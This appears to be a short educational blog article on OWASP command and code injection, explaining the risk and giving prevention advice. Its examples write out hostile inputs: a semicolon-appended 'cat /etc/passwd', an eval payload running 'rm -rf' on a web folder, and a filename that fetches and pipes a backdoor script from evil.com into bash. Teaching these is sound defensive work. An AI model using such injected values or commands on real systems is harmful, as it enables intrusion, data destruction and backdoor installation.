OWASP Command and Code Injection

Command injection and code injection are part of the A03 Injection category in the OWASP Top 10. When an application passes user input to the operating system or an interpreter without checking it first, an attacker can run their own commands directly on the server.

The Restaurant Order Analogy

Imagine a restaurant where a waiter takes your food order and reads it aloud to the chef. The menu says choose a dish. Instead, you say: "Pasta — and after that, give me the keys to the kitchen." The waiter reads it all without filtering. The chef hands over the pasta and the keys. That is command injection — extra instructions smuggled into a legitimate request.

OS Command Injection

Many applications call operating system commands to do tasks like pinging a server, resizing an image, or sending an email. When they include user input in that command string without validation, the attacker appends extra commands.

  Application purpose: Ping a server the user specifies

  Normal input by user:
  192.168.1.1

  Command the app builds and runs:
  ping 192.168.1.1    <-- works as expected

  Attacker input:
  192.168.1.1; cat /etc/passwd

  Command the app builds and runs:
  ping 192.168.1.1; cat /etc/passwd
       |                   |
       |                   +-- Also runs: prints out all system usernames
       +-- Normal ping

  The semicolon separates two commands.
  Both run on the server.

Common Command Separators Attackers Use

  ;    Run the next command after this one
  &&   Run the next command if the first succeeds
  ||   Run the next command if the first fails
  |    Pipe output of first command into second
  `    Execute what is inside the backticks
  $()  Execute what is inside the parentheses

Code Injection

Code injection is similar but targets the application's programming language interpreter instead of the OS. If an application uses functions like eval() to execute strings as code, and user input reaches those functions, the attacker injects application-level code.

  Vulnerable Python example:
  user_input = request.get("formula")
  result = eval(user_input)   <-- Executes whatever the user types as Python code

  Attacker sends:
  __import__('os').system('rm -rf /var/www/html')

  The server deletes the entire website folder.

What an Attacker Can Achieve

  Read sensitive server files   (/etc/passwd, config files, private keys)
  Create or delete files        (deface the site, destroy data)
  Install malware               (backdoor, cryptominer, botnet agent)
  Exfiltrate the database       (copy data to attacker's server)
  Take full server control      (root shell access)

Real-World Impact Example

  Company: Image processing web app
  Feature: User uploads image, app runs a command-line tool to resize it

  Attacker uploads a file named:
  vacation.jpg; curl https://evil.com/backdoor.sh | bash

  App runs:
  convert vacation.jpg; curl https://evil.com/backdoor.sh | bash

  Result: Attacker's backdoor script installs on the company server.

How to Prevent Command and Code Injection

1. Never Pass User Input to System Commands

Redesign features that call OS commands. Replace shell calls with equivalent library functions that do not invoke a shell at all.

  Avoid:   os.system("ping " + user_input)
  Use:     subprocess.run(["ping", user_input], shell=False)

  With shell=False, each argument is passed separately.
  The OS treats them as data, not commands.
  Semicolons and pipes cannot chain extra commands.

2. Never Use eval() on User Input

Remove eval(), exec(), and similar dynamic execution functions from any code path that touches user data. If you need dynamic behavior, use a controlled lookup table instead.

3. Allowlist Input Validation

If a field expects an IP address, accept only digits and dots. If a field expects a filename, accept only alphanumeric characters and a file extension. Reject everything else.

  Good allowlist for IP address:
  Pattern: ^(\d{1,3}\.){3}\d{1,3}$
  Accepts: 192.168.1.1
  Rejects: 192.168.1.1; cat /etc/passwd

4. Use Least Privilege for the Application Process

The web server process should run as a low-privilege user. If injection happens, the attacker inherits only those limited permissions — they cannot read sensitive system files or install software.

5. Disable Dangerous Functions in Production

In PHP, disable exec, shell_exec, system, and passthru in php.ini unless the application genuinely needs them.

Quick Prevention Checklist

  [✓] Replace OS shell calls with library equivalents
  [✓] Pass arguments as arrays with shell=False
  [✓] Eliminate eval() and exec() from user-facing code paths
  [✓] Validate input against a strict allowlist
  [✓] Run the app under a least-privilege OS user

Key Takeaway

Command injection gives attackers direct access to your server's operating system. The defense is simple: never mix user input with shell commands. Use library functions that separate commands from data.

Leave a Comment